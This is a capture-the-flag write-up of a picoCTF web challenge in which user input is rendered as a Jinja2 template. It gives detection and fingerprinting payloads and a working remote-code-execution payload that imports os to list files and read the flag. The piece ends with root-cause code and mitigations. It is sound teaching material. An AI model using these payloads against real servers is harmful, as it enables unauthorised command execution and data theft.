picoCTF · picoGym Web Exploitation Easy 100 pts

Announcements — Server-Side Template Injection

OWASP A03 — Injection

Vulnerability Overview

User input submitted to an announcement field was passed directly into a Jinja2 template engine and rendered as code rather than treated as data. This allowed injection of arbitrary Python expressions, culminating in Remote Code Execution (RCE) and full server file system access.

Confirming SSTI

The challenge description referenced "templating" — an immediate indicator to test for SSTI. The standard detection payload was submitted to the announcement input:

{{7*7}}

Rather than rendering the literal string, the server returned 49 — confirming that user input was being executed by the template engine.

Fingerprinting the Template Engine

Different template engines handle expression evaluation differently. To confirm Jinja2 specifically:

{{7*'7'}}

Output: 7777777. Jinja2 repeats a string when multiplied by an integer, producing this exact result. This confirmed a Python + Jinja2 backend, which means access to Python's full object hierarchy is available through template expressions.

Escalating to Remote Code Execution

Jinja2 allows traversal of Python's object graph through __globals__ and __builtins__. The following payload imported the os module and executed an arbitrary shell command:

{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}

The directory listing revealed a file named flag. Reading it directly:

{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

Root Cause

The application passed raw user input as a template string to be rendered, rather than passing it as a variable within a safe template. The distinction is critical:

# VULNERABLE — user input becomes executable code
template = Template(user_input)
result = template.render()

# SAFE — user input is data, never code
template = Template("Announcement: {{ message }}")
result = template.render(message=user_input)
ControlImplementation
Never render user input as a templatePass user data as a variable to a static template string
Enable Jinja2 sandboxingUse SandboxedEnvironment to restrict object traversal
Input validationReject or escape {{, }}, and __ sequences at the application layer
Key Insight: The same principle that prevents SQL injection applies to template injection — user input must always be data, never code. SSTI is particularly dangerous in Python frameworks because Jinja2's object model provides a direct path to OS command execution with no additional steps.
Flag See challenge on picoCTF picoGym